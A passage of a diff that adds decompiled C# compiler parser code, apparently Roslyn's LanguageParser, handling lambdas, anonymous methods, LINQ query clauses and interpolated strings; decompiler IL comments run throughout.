AddTrailingSkippedSyntax(syntaxToken, (GreenNode)(object)skippedSyntax); + } + if (base.CurrentToken.Kind != SyntaxKind.CommaToken) + { + break; + } + SyntaxToken skippedSyntax2 = AddError(EatToken(), ErrorCode.ERR_InvalidStackAllocArray); + syntaxToken = AddTrailingSkippedSyntax(syntaxToken, (GreenNode)(object)skippedSyntax2); + } + return _syntaxFactory.ImplicitStackAllocArrayCreationExpression(stackAllocKeyword, syntaxToken, EatToken(SyntaxKind.CloseBracketToken), ParseArrayInitializer()); + } + + private ExpressionSyntax ParseRegularStackAllocExpression() + { + return _syntaxFactory.StackAllocArrayCreationExpression(EatToken(SyntaxKind.StackAllocKeyword), ParseType(), (base.CurrentToken.Kind == SyntaxKind.OpenBraceToken) ? ParseArrayInitializer() : null); + } + + private AnonymousMethodExpressionSyntax ParseAnonymousMethodExpression() + { + bool isInAsync = IsInAsync; + bool forceConditionalAccessExpression = ForceConditionalAccessExpression; + ForceConditionalAccessExpression = false; + AnonymousMethodExpressionSyntax result = parseAnonymousMethodExpressionWorker(); + ForceConditionalAccessExpression = forceConditionalAccessExpression; + IsInAsync = isInAsync; + return result; + AnonymousMethodExpressionSyntax parseAnonymousMethodExpressionWorker() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + SyntaxList modifiers = ParseAnonymousFunctionModifiers(); + if (modifiers.Any(8435)) + { + IsInAsync = true; + } + SyntaxToken delegateKeyword = EatToken(SyntaxKind.DelegateKeyword); + ParameterListSyntax parameterList = null; + if (base.CurrentToken.Kind == SyntaxKind.OpenParenToken) + { + parameterList = ParseParenthesizedParameterList(); + } + if (base.CurrentToken.Kind != SyntaxKind.OpenBraceToken) + { + SyntaxToken openBraceToken = EatToken(SyntaxKind.OpenBraceToken); + return _syntaxFactory.AnonymousMethodExpression(modifiers, delegateKeyword, parameterList, _syntaxFactory.Block(default(SyntaxList), openBraceToken, default(SyntaxList), SyntaxFactory.MissingToken(SyntaxKind.CloseBraceToken)), null); + } + return _syntaxFactory.AnonymousMethodExpression(modifiers, delegateKeyword, parameterList, ParseBlock(default(SyntaxList)), null); + } + } + + private SyntaxList ParseAnonymousFunctionModifiers() + { + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + SyntaxListBuilder val = _pool.Allocate(); + while (true) + { + if (base.CurrentToken.Kind == SyntaxKind.StaticKeyword) + { + val.Add((GreenNode)(object)EatToken(SyntaxKind.StaticKeyword)); + continue; + } + if (base.CurrentToken.ContextualKind != SyntaxKind.AsyncKeyword || !IsAnonymousFunctionAsyncModifier()) + { + break; + } + val.Add((GreenNode)(object)EatContextualToken(SyntaxKind.AsyncKeyword)); + } + return _pool.ToTokenListAndFree(val); + } + + private bool IsAnonymousFunctionAsyncModifier() + { + SyntaxKind kind = PeekToken(1).Kind; + switch (kind) + { + case SyntaxKind.OpenParenToken: + case SyntaxKind.StaticKeyword: + case SyntaxKind.RefKeyword: + case SyntaxKind.DelegateKeyword: + case SyntaxKind.IdentifierToken: + return true; + default: + return IsPredefinedType(kind); + } + } + + private LambdaExpressionSyntax TryParseLambdaExpression() + { + using DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: false); + LambdaExpressionSyntax lambdaExpressionSyntax = ParseLambdaExpression(); + if (base.CurrentToken.Kind == SyntaxKind.ColonToken && lambdaExpressionSyntax is ParenthesizedLambdaExpressionSyntax parenthesizedLambdaExpressionSyntax && parenthesizedLambdaExpressionSyntax.ReturnType is NullableTypeSyntax) + { + disposableResetPoint.Reset(); + return null; + } + return lambdaExpressionSyntax; + } + + private LambdaExpressionSyntax ParseLambdaExpression() + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + SyntaxList attributes = ParseAttributeDeclarations(inExpressionContext: true); + bool isInAsync = IsInAsync; + bool forceConditionalAccessExpression = ForceConditionalAccessExpression; + ForceConditionalAccessExpression = false; + LambdaExpressionSyntax result = parseLambdaExpressionWorker(); + ForceConditionalAccessExpression = forceConditionalAccessExpression; + IsInAsync = isInAsync; + return result; + LambdaExpressionSyntax parseLambdaExpressionWorker() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_0123: Unknown result type (might be due to invalid IL or missing references) + //IL_0129: Unknown result type (might be due to invalid IL or missing references) + //IL_012d: Unknown result type (might be due to invalid IL or missing references) + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_015c: Unknown result type (might be due to invalid IL or missing references) + //IL_0161: Unknown result type (might be due to invalid IL or missing references) + SyntaxList modifiers = ParseAnonymousFunctionModifiers(); + if (modifiers.Any(8435)) + { + IsInAsync = true; + } + TypeSyntax returnType; + using (DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: false)) + { + returnType = ParseReturnType(); + if (base.CurrentToken.Kind != SyntaxKind.OpenParenToken) + { + disposableResetPoint.Reset(); + returnType = null; + } + } + if (base.CurrentToken.Kind == SyntaxKind.OpenParenToken) + { + ParameterListSyntax parameterList = ParseLambdaParameterList(); + SyntaxToken arrowToken = EatToken(SyntaxKind.EqualsGreaterThanToken); + var (block, expressionBody) = ParseLambdaBody(); + return _syntaxFactory.ParenthesizedLambdaExpression(attributes, modifiers, returnType, parameterList, arrowToken, block, expressionBody); + } + SyntaxToken identifier = ((base.CurrentToken.Kind != SyntaxKind.IdentifierToken && PeekToken(1).Kind == SyntaxKind.EqualsGreaterThanToken) ? EatTokenAsKind(SyntaxKind.IdentifierToken) : ParseIdentifierToken()); + ParseParameterNullCheck(ref identifier, out SyntaxToken equalsToken); + SyntaxToken arrowToken2; + if (equalsToken != null) + { + SyntaxToken t = EatToken(); + arrowToken2 = MergeAdjacent(equalsToken, t, SyntaxKind.EqualsGreaterThanToken); + } + else + { + arrowToken2 = EatToken(SyntaxKind.EqualsGreaterThanToken); + } + ParameterSyntax parameter = _syntaxFactory.Parameter(default(SyntaxList), default(SyntaxList), null, identifier, null); + var (block2, expressionBody2) = ParseLambdaBody(); + return _syntaxFactory.SimpleLambdaExpression(attributes, modifiers, parameter, arrowToken2, block2, expressionBody2); + } + } + + private (BlockSyntax, ExpressionSyntax) ParseLambdaBody() + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (base.CurrentToken.Kind != SyntaxKind.OpenBraceToken) + { + return (null, ParsePossibleRefExpression()); + } + return (ParseBlock(default(SyntaxList)), null); + } + + private ParameterListSyntax ParseLambdaParameterList() + { + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openToken = EatToken(SyntaxKind.OpenParenToken); + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfParameterList; + SeparatedSyntaxList parameters = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseParenToken, (LanguageParser @this) => @this.IsPossibleLambdaParameter(), (LanguageParser @this) => @this.ParseLambdaParameter(), skipBadLambdaParameterListTokens, allowTrailingSeparator: false, requireOneElement: false, allowSemicolonAsSeparator: false); + _termState = termState; + return _syntaxFactory.ParameterList(openToken, parameters, EatToken(SyntaxKind.CloseParenToken)); + static PostSkipAction skipBadLambdaParameterListTokens(LanguageParser @this, ref SyntaxToken openParen, SeparatedSyntaxListBuilder list, SyntaxKind expectedKind, SyntaxKind closeKind) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return @this.SkipBadSeparatedListTokensWithExpectedKind(ref openParen, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken && !p.IsPossibleLambdaParameter(), (LanguageParser p, SyntaxKind syntaxKind) => p.CurrentToken.Kind == syntaxKind, expectedKind, closeKind); + } + } + + private bool IsPossibleLambdaParameter() + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.OpenParenToken: + case SyntaxKind.OpenBracketToken: + case SyntaxKind.ReadOnlyKeyword: + case SyntaxKind.RefKeyword: + case SyntaxKind.OutKeyword: + case SyntaxKind.InKeyword: + case SyntaxKind.ParamsKeyword: + return true; + case SyntaxKind.IdentifierToken: + return IsTrueIdentifier(); + case SyntaxKind.DelegateKeyword: + return IsFunctionPointerStart(); + default: + return IsPredefinedType(base.CurrentToken.Kind); + } + } + + private ParameterSyntax ParseLambdaParameter() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + SyntaxList attributeLists = ParseAttributeDeclarations(inExpressionContext: false); + SyntaxListBuilder val = _pool.Allocate(); + if (IsParameterModifierExcludingScoped(base.CurrentToken) || base.CurrentToken.ContextualKind == SyntaxKind.ScopedKeyword) + { + ParseParameterModifiers(val, isFunctionPointerParameter: false); + } + TypeSyntax type = ((val.Count != 0 || ShouldParseLambdaParameterType()) ? ParseType(ParseTypeMode.Parameter) : null); + SyntaxToken identifier = ParseIdentifierToken(); + ParseParameterNullCheck(ref identifier, out SyntaxToken equalsToken); + if (equalsToken == null) + { + equalsToken = TryEatToken(SyntaxKind.EqualsToken); + } + return _syntaxFactory.Parameter(attributeLists, _pool.ToTokenListAndFree(val), type, identifier, (equalsToken != null) ? _syntaxFactory.EqualsValueClause(equalsToken, ParseExpressionCore()) : null); + } + + private bool ShouldParseLambdaParameterType() + { + if (IsPredefinedType(base.CurrentToken.Kind)) + { + return true; + } + if (base.CurrentToken.Kind == SyntaxKind.OpenParenToken) + { + return true; + } + if (IsFunctionPointerStart()) + { + return true; + } + if (IsTrueIdentifier(base.CurrentToken)) + { + SyntaxToken syntaxToken = PeekToken(1); + if (syntaxToken.Kind != SyntaxKind.CommaToken && syntaxToken.Kind != SyntaxKind.CloseParenToken && syntaxToken.Kind != SyntaxKind.EqualsGreaterThanToken && syntaxToken.Kind != SyntaxKind.OpenBraceToken && syntaxToken.Kind != SyntaxKind.ExclamationToken && syntaxToken.Kind != SyntaxKind.EqualsToken) + { + return true; + } + } + return false; + } + + private static bool IsTokenQueryContextualKeyword(SyntaxToken token) + { + if (IsTokenStartOfNewQueryClause(token)) + { + return true; + } + SyntaxKind contextualKind = token.ContextualKind; + if (contextualKind == SyntaxKind.ByKeyword || contextualKind - 8430 <= (SyntaxKind)3) + { + return true; + } + return false; + } + + private static bool IsTokenStartOfNewQueryClause(SyntaxToken token) + { + SyntaxKind contextualKind = token.ContextualKind; + if (contextualKind - 8421 <= (SyntaxKind)5 || contextualKind - 8428 <= SyntaxKind.List) + { + return true; + } + return false; + } + + private bool IsQueryExpression(bool mayBeVariableDeclaration, bool mayBeMemberDeclaration) + { + if (base.CurrentToken.ContextualKind == SyntaxKind.FromKeyword) + { + return IsQueryExpressionAfterFrom(mayBeVariableDeclaration, mayBeMemberDeclaration); + } + return false; + } + + private bool IsQueryExpressionAfterFrom(bool mayBeVariableDeclaration, bool mayBeMemberDeclaration) + { + SyntaxKind kind = PeekToken(1).Kind; + if (IsPredefinedType(kind)) + { + return true; + } + if (kind == SyntaxKind.IdentifierToken) + { + SyntaxKind kind2 = PeekToken(2).Kind; + if (kind2 == SyntaxKind.InKeyword) + { + return true; + } + if (mayBeVariableDeclaration && ((kind2 == SyntaxKind.EqualsToken || kind2 == SyntaxKind.SemicolonToken || kind2 == SyntaxKind.CommaToken) ? true : false)) + { + return false; + } + if (!mayBeMemberDeclaration) + { + return true; + } + if ((kind2 == SyntaxKind.OpenParenToken || kind2 == SyntaxKind.OpenBraceToken) ? true : false) + { + return false; + } + } + using (GetDisposableResetPoint(resetOnDispose: true)) + { + EatToken(); + bool flag = ScanType() != ScanTypeFlags.NotType; + if (flag) + { + SyntaxKind kind3 = base.CurrentToken.Kind; + bool flag2 = ((kind3 == SyntaxKind.InKeyword || kind3 == SyntaxKind.IdentifierToken) ? true : false); + flag = flag2; + } + return flag; + } + } + + private QueryExpressionSyntax ParseQueryExpression(Precedence precedence) + { + bool isInQuery = IsInQuery; + IsInQuery = true; + FromClauseSyntax fromClauseSyntax = ParseFromClause(); + if (precedence != Precedence.Expression) + { + fromClauseSyntax = AddError(fromClauseSyntax, ErrorCode.WRN_PrecedenceInversion, SyntaxFacts.GetText(SyntaxKind.FromKeyword)); + } + QueryBodySyntax body = ParseQueryBody(); + IsInQuery = isInQuery; + return _syntaxFactory.QueryExpression(fromClauseSyntax, body); + } + + private QueryBodySyntax ParseQueryBody() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Unknown result type (might be due to invalid IL or missing references) + SyntaxListBuilder val = _pool.Allocate(); + while (true) + { + switch (base.CurrentToken.ContextualKind) + { + case SyntaxKind.FromKeyword: + { + FromClauseSyntax fromClauseSyntax = ParseFromClause(); + val.Add((QueryClauseSyntax)fromClauseSyntax); + break; + } + case SyntaxKind.JoinKeyword: + val.Add((QueryClauseSyntax)ParseJoinClause()); + break; + case SyntaxKind.LetKeyword: + val.Add((QueryClauseSyntax)ParseLetClause()); + break; + case SyntaxKind.WhereKeyword: + val.Add((QueryClauseSyntax)ParseWhereClause()); + break; + case SyntaxKind.OrderByKeyword: + val.Add((QueryClauseSyntax)ParseOrderByClause()); + break; + default: + { + SelectOrGroupClauseSyntax selectOrGroup = base.CurrentToken.ContextualKind switch + { + SyntaxKind.SelectKeyword => ParseSelectClause(), + SyntaxKind.GroupKeyword => ParseGroupClause(), + _ => _syntaxFactory.SelectClause(EatToken(SyntaxKind.SelectKeyword, ErrorCode.ERR_ExpectedSelectOrGroup), CreateMissingIdentifierName()), + }; + return _syntaxFactory.QueryBody(_pool.ToListAndFree(val), selectOrGroup, (base.CurrentToken.ContextualKind == SyntaxKind.IntoKeyword) ? ParseQueryContinuation() : null); + } + } + } + } + + private FromClauseSyntax ParseFromClause() + { + SyntaxToken fromKeyword = EatContextualToken(SyntaxKind.FromKeyword); + TypeSyntax type = ((PeekToken(1).Kind != SyntaxKind.InKeyword) ? ParseType() : null); + SyntaxToken syntaxToken; + if (PeekToken(1).ContextualKind == SyntaxKind.InKeyword && (base.CurrentToken.Kind != SyntaxKind.IdentifierToken || SyntaxFacts.IsQueryContextualKeyword(base.CurrentToken.ContextualKind))) + { + syntaxToken = EatToken(); + syntaxToken = WithAdditionalDiagnostics(syntaxToken, GetExpectedTokenError(SyntaxKind.IdentifierToken, syntaxToken.ContextualKind, ((GreenNode)syntaxToken).GetLeadingTriviaWidth(), ((GreenNode)syntaxToken).Width)); + syntaxToken = ConvertToMissingWithTrailingTrivia(syntaxToken, SyntaxKind.IdentifierToken); + } + else + { + syntaxToken = ParseIdentifierToken(); + } + return _syntaxFactory.FromClause(fromKeyword, type, syntaxToken, EatToken(SyntaxKind.InKeyword), ParseExpressionCore()); + } + + private JoinClauseSyntax ParseJoinClause() + { + return _syntaxFactory.JoinClause(EatContextualToken(SyntaxKind.JoinKeyword), (PeekToken(1).Kind != SyntaxKind.InKeyword) ? ParseType() : null, ParseIdentifierToken(), EatToken(SyntaxKind.InKeyword), ParseExpressionCore(), EatContextualToken(SyntaxKind.OnKeyword, ErrorCode.ERR_ExpectedContextualKeywordOn), ParseExpressionCore(), EatContextualToken(SyntaxKind.EqualsKeyword, ErrorCode.ERR_ExpectedContextualKeywordEquals), ParseExpressionCore(), (base.CurrentToken.ContextualKind == SyntaxKind.IntoKeyword) ? _syntaxFactory.JoinIntoClause(SyntaxParser.ConvertToKeyword(EatToken()), ParseIdentifierToken()) : null); + } + + private LetClauseSyntax ParseLetClause() + { + return _syntaxFactory.LetClause(EatContextualToken(SyntaxKind.LetKeyword), ParseIdentifierToken(), EatToken(SyntaxKind.EqualsToken), ParseExpressionCore()); + } + + private WhereClauseSyntax ParseWhereClause() + { + return _syntaxFactory.WhereClause(EatContextualToken(SyntaxKind.WhereKeyword), ParseExpressionCore()); + } + + private OrderByClauseSyntax ParseOrderByClause() + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken orderByKeyword = EatContextualToken(SyntaxKind.OrderByKeyword); + SeparatedSyntaxListBuilder list = _pool.AllocateSeparated(); + list.Add(ParseOrdering()); + while (base.CurrentToken.Kind == SyntaxKind.CommaToken) + { + SyntaxKind kind = base.CurrentToken.Kind; + if ((kind == SyntaxKind.CloseParenToken || kind == SyntaxKind.SemicolonToken) ? true : false) + { + break; + } + if (base.CurrentToken.Kind == SyntaxKind.CommaToken) + { + list.AddSeparator((GreenNode)(object)EatToken(SyntaxKind.CommaToken)); + list.Add(ParseOrdering()); + } + else if (skipBadOrderingListTokens(list, SyntaxKind.CommaToken) == PostSkipAction.Abort) + { + break; + } + } + return _syntaxFactory.OrderByClause(orderByKeyword, _pool.ToListAndFree(ref list)); + PostSkipAction skipBadOrderingListTokens(SeparatedSyntaxListBuilder list2, SyntaxKind expected) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode startToken = null; + return SkipBadSeparatedListTokensWithExpectedKind(ref startToken, list2, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken, (LanguageParser p, SyntaxKind _) => p.CurrentToken.Kind == SyntaxKind.CloseParenToken || p.CurrentToken.Kind == SyntaxKind.SemicolonToken || p.IsCurrentTokenQueryContextualKeyword, expected); + } + } + + private OrderingSyntax ParseOrdering() + { + ExpressionSyntax expression = ParseExpressionCore(); + SyntaxToken syntaxToken = null; + SyntaxKind kind = SyntaxKind.AscendingOrdering; + SyntaxKind contextualKind = base.CurrentToken.ContextualKind; + if (contextualKind - 8432 <= SyntaxKind.List) + { + syntaxToken = SyntaxParser.ConvertToKeyword(EatToken()); + if (syntaxToken.Kind == SyntaxKind.DescendingKeyword) + { + kind = SyntaxKind.DescendingOrdering; + } + } + return _syntaxFactory.Ordering(kind, expression, syntaxToken); + } + + private SelectClauseSyntax ParseSelectClause() + { + return _syntaxFactory.SelectClause(EatContextualToken(SyntaxKind.SelectKeyword), ParseExpressionCore()); + } + + private GroupClauseSyntax ParseGroupClause() + { + return _syntaxFactory.GroupClause(EatContextualToken(SyntaxKind.GroupKeyword), ParseExpressionCore(), EatContextualToken(SyntaxKind.ByKeyword, ErrorCode.ERR_ExpectedContextualKeywordBy), ParseExpressionCore()); + } + + private QueryContinuationSyntax ParseQueryContinuation() + { + return _syntaxFactory.QueryContinuation(EatContextualToken(SyntaxKind.IntoKeyword), ParseIdentifierToken(), ParseQueryBody()); + } + + internal static bool MatchesFactoryContext(GreenNode green, SyntaxFactoryContext context) + { + if (context.IsInAsync == green.ParsedInAsync) + { + return context.IsInQuery == green.ParsedInQuery; + } + return false; + } + + private SeparatedSyntaxList ParseCommaSeparatedSyntaxList(ref SyntaxToken openToken, SyntaxKind closeTokenKind, Func isPossibleElement, Func parseElement, SkipBadTokens skipBadTokens, bool allowTrailingSeparator, bool requireOneElement, bool allowSemicolonAsSeparator) where TNode : GreenNode + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0135: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + //IL_00f8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind separatorTokenKind = SyntaxKind.CommaToken; + SeparatedSyntaxListBuilder builder = _pool.AllocateSeparated(); + while (requireOneElement || base.CurrentToken.Kind != closeTokenKind) + { + if (requireOneElement || shouldParseSeparatorOrElement()) + { + builder.Add(parseElement(this)); + requireOneElement = false; + int lastTokenPosition = -1; + while (IsMakingProgress(ref lastTokenPosition) && base.CurrentToken.Kind != closeTokenKind) + { + if (shouldParseSeparatorOrElement()) + { + builder.AddSeparator((GreenNode)(object)((base.CurrentToken.Kind == SyntaxKind.SemicolonToken) ? EatTokenWithPrejudice(separatorTokenKind) : EatToken(separatorTokenKind))); + if (allowTrailingSeparator) + { + if (base.CurrentToken.Kind == closeTokenKind) + { + break; + } + if (!isPossibleElement(this)) + { + goto IL_0031; + } + } + builder.Add(parseElement(this)); + } + else if (skipBadTokens(this, ref openToken, builder, separatorTokenKind, closeTokenKind) == PostSkipAction.Abort) + { + break; + } + } + break; + } + if (skipBadTokens(this, ref openToken, builder, SyntaxKind.IdentifierToken, closeTokenKind) != PostSkipAction.Continue) + { + break; + } + IL_0031:; + } + return _pool.ToListAndFree(ref builder); + bool shouldParseSeparatorOrElement() + { + if (base.CurrentToken.Kind == separatorTokenKind) + { + return true; + } + if (allowSemicolonAsSeparator && base.CurrentToken.Kind == SyntaxKind.SemicolonToken) + { + return true; + } + if (isPossibleElement(this)) + { + return true; + } + return false; + } + } + + private DisposableResetPoint GetDisposableResetPoint(bool resetOnDispose) + { + return new DisposableResetPoint(this, resetOnDispose, GetResetPoint()); + } + + private new ResetPoint GetResetPoint() + { + return new ResetPoint(base.GetResetPoint(), _termState, IsInAsync, IsInQuery); + } + + private void Reset(ref ResetPoint state) + { + _termState = state.TerminatorState; + IsInAsync = state.IsInAsync; + IsInQuery = state.IsInQuery; + Reset(ref state.BaseResetPoint); + } + + private void Release(ref ResetPoint state) + { + Release(ref state.BaseResetPoint); + } + + internal TNode ConsumeUnexpectedTokens(TNode node) where TNode : CSharpSyntaxNode + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + if (base.CurrentToken.Kind == SyntaxKind.EndOfFileToken) + { + return node; + } + SyntaxListBuilder val = _pool.Allocate(); + while (base.CurrentToken.Kind != SyntaxKind.EndOfFileToken) + { + val.Add(EatToken()); + } + SyntaxList val2 = val.ToList(); + _pool.Free(SyntaxListBuilder.op_Implicit(val)); + node = AddError(node, ErrorCode.ERR_UnexpectedToken, ((object)val2[0]).ToString()); + node = AddTrailingSkippedSyntax(node, val2.Node); + return node; + } + + private static bool ContainsErrorDiagnostic(GreenNode node) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Invalid comparison between Unknown and I4 + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + if (node.ContainsDiagnostics) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + try + { + ArrayBuilderExtensions.Push(instance, node); + while (instance.Count > 0) + { + GreenNode val = ArrayBuilderExtensions.Pop(instance); + if (!val.ContainsDiagnostics) + { + continue; + } + DiagnosticInfo[] diagnostics = val.GetDiagnostics(); + for (int i = 0; i < diagnostics.Length; i++) + { + if ((int)diagnostics[i].Severity == 3) + { + return true; + } + } + ChildSyntaxList val2 = val.ChildNodesAndTokens(); + Enumerator enumerator = ((ChildSyntaxList)(ref val2)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + GreenNode current = ((Enumerator)(ref enumerator)).Current; + ArrayBuilderExtensions.Push(instance, current); + } + } + } + finally + { + instance.Free(); + } + } + return false; + } + + private ExpressionSyntax ParseInterpolatedStringToken() + { + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken originalToken = EatToken(); + string originalText = originalToken.ValueText; + ReadOnlySpan originalTextSpan = originalText.AsSpan(); + ArrayBuilder interpolations = ArrayBuilder.GetInstance(); + rescanInterpolation(out var kind, out var error, out var openQuoteRange, interpolations, out var closeQuoteRange); + bool needsDedentation = kind == Lexer.InterpolatedStringKind.MultiLineRaw && error == null; + InterpolatedStringExpressionSyntax interpolatedStringExpressionSyntax = SyntaxFactory.InterpolatedStringExpression(getOpenQuote(), getContent(originalTextSpan), getCloseQuote()); + interpolations.Free(); + if (error != null) + { + InterpolatedStringExpressionSyntax interpolatedStringExpressionSyntax2 = interpolatedStringExpressionSyntax; + DiagnosticInfo[] infos = (DiagnosticInfo[])(object)new SyntaxDiagnosticInfo[1] { error }; + GreenNode leadingTrivia = originalToken.GetLeadingTrivia(); + interpolatedStringExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(interpolatedStringExpressionSyntax2, MoveDiagnostics(infos, (leadingTrivia != null) ? leadingTrivia.FullWidth : 0)); + } + return interpolatedStringExpressionSyntax; + SyntaxToken getCloseQuote() + { + int kind2 = kind switch + { + Lexer.InterpolatedStringKind.Normal => 8483, + Lexer.InterpolatedStringKind.Verbatim => 8483, + Lexer.InterpolatedStringKind.SingleLineRaw => 9074, + Lexer.InterpolatedStringKind.MultiLineRaw => 9074, + _ => throw ExceptionUtilities.UnexpectedValue((object)kind), + }; + string text = originalText; + Range range = closeQuoteRange; + return TokenOrMissingToken(null, (SyntaxKind)kind2, text[range.Start..range.End], originalToken.GetTrailingTrivia()); + } + SyntaxList getContent(ReadOnlySpan originalTextSpan2) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_0170: Unknown result type (might be due to invalid IL or missing references) + //IL_0176: Unknown result type (might be due to invalid IL or missing references) + //IL_0177: Unknown result type (might be due to invalid IL or missing references) + //IL_0182: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Unknown result type (might be due to invalid IL or missing references) + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + SyntaxListBuilder val = _pool.Allocate(); + ReadOnlySpan indentationWhitespace = (needsDedentation ? getIndentationWhitespace(originalTextSpan2) : default(ReadOnlySpan)); + Index end = openQuoteRange.End; + Index start; + Index index; + int offset; + int length; + for (int i = 0; i < interpolations.Count; i++) + { + Lexer.Interpolation interpolation = interpolations[i]; + StringBuilder content = PooledStringBuilder.op_Implicit(instance); + bool isFirst = i == 0; + index = end; + start = interpolation.OpenBraceRange.Start; + length = originalTextSpan2.Length; + offset = index.GetOffset(length); + val.Add(makeContent(indentationWhitespace, content, isFirst, isLast: false, originalTextSpan2.Slice(offset, start.GetOffset(length) - offset))); + InterpolationSyntax interpolationSyntax = ParseInterpolation(base.Options, originalText, interpolation, kind); + SyntaxDiagnosticInfo syntaxDiagnosticInfo = getInterpolationIndentationError(indentationWhitespace, interpolation); + if (syntaxDiagnosticInfo != null) + { + InterpolationSyntax interpolationSyntax2 = interpolationSyntax; + DiagnosticInfo[] array = (DiagnosticInfo[])(object)new SyntaxDiagnosticInfo[1] { syntaxDiagnosticInfo }; + interpolationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(interpolationSyntax2, array); + } + val.Add((InterpolatedStringContentSyntax)interpolationSyntax); + end = interpolation.CloseBraceRange.End; + } + StringBuilder content2 = PooledStringBuilder.op_Implicit(instance); + bool isFirst2 = interpolations.Count == 0; + start = end; + index = closeQuoteRange.Start; + offset = originalTextSpan2.Length; + length = start.GetOffset(offset); + val.Add(makeContent(indentationWhitespace, content2, isFirst2, isLast: true, originalTextSpan2.Slice(length, index.GetOffset(offset) - length))); + SyntaxList result = SyntaxListBuilder.op_Implicit(val); + _pool.Free(SyntaxListBuilder.op_Implicit(val)); + instance.Free(); + return result; + } + ReadOnlySpan getIndentationWhitespace(ReadOnlySpan readOnlySpan) + { + Range range = closeQuoteRange; + ReadOnlySpan text = readOnlySpan[range.Start..range.End]; + int newLineWidth = SlidingTextWindow.GetNewLineWidth(text[0], text[1]); + int num = SkipWhitespace(text, newLineWidth); + int num2 = newLineWidth; + return text.Slice(num2, num - num2); + } + SyntaxDiagnosticInfo? getInterpolationIndentationError(ReadOnlySpan indentationWhitespace, Lexer.Interpolation interpolation) + { + if (needsDedentation && !indentationWhitespace.IsEmpty) + { + int value = interpolation.OpenBraceRange.Start.Value; + if (value > 0 && SyntaxFacts.IsNewLine(originalText[value - 1])) + { + return SyntaxParser.MakeError(0, 1, ErrorCode.ERR_LineDoesNotStartWithSameWhitespace); + } + } + return null; + } + SyntaxToken getOpenQuote() + { + GreenNode leadingTrivia2 = originalToken.GetLeadingTrivia(); + int kind2 = kind switch + { + Lexer.InterpolatedStringKind.Normal => 8482, + 